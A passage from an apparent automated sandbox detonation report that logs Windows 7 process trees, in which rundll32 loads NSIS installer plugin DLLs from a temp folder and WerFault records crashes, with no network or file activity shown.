PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win7-20240708-en

Max time kernel

118s

Max time network

120s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

Signatures

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 220

Network

N/A

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win7-20240708-en

Max time kernel

117s

Max time network

120s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 240

Network

N/A

Files

N/A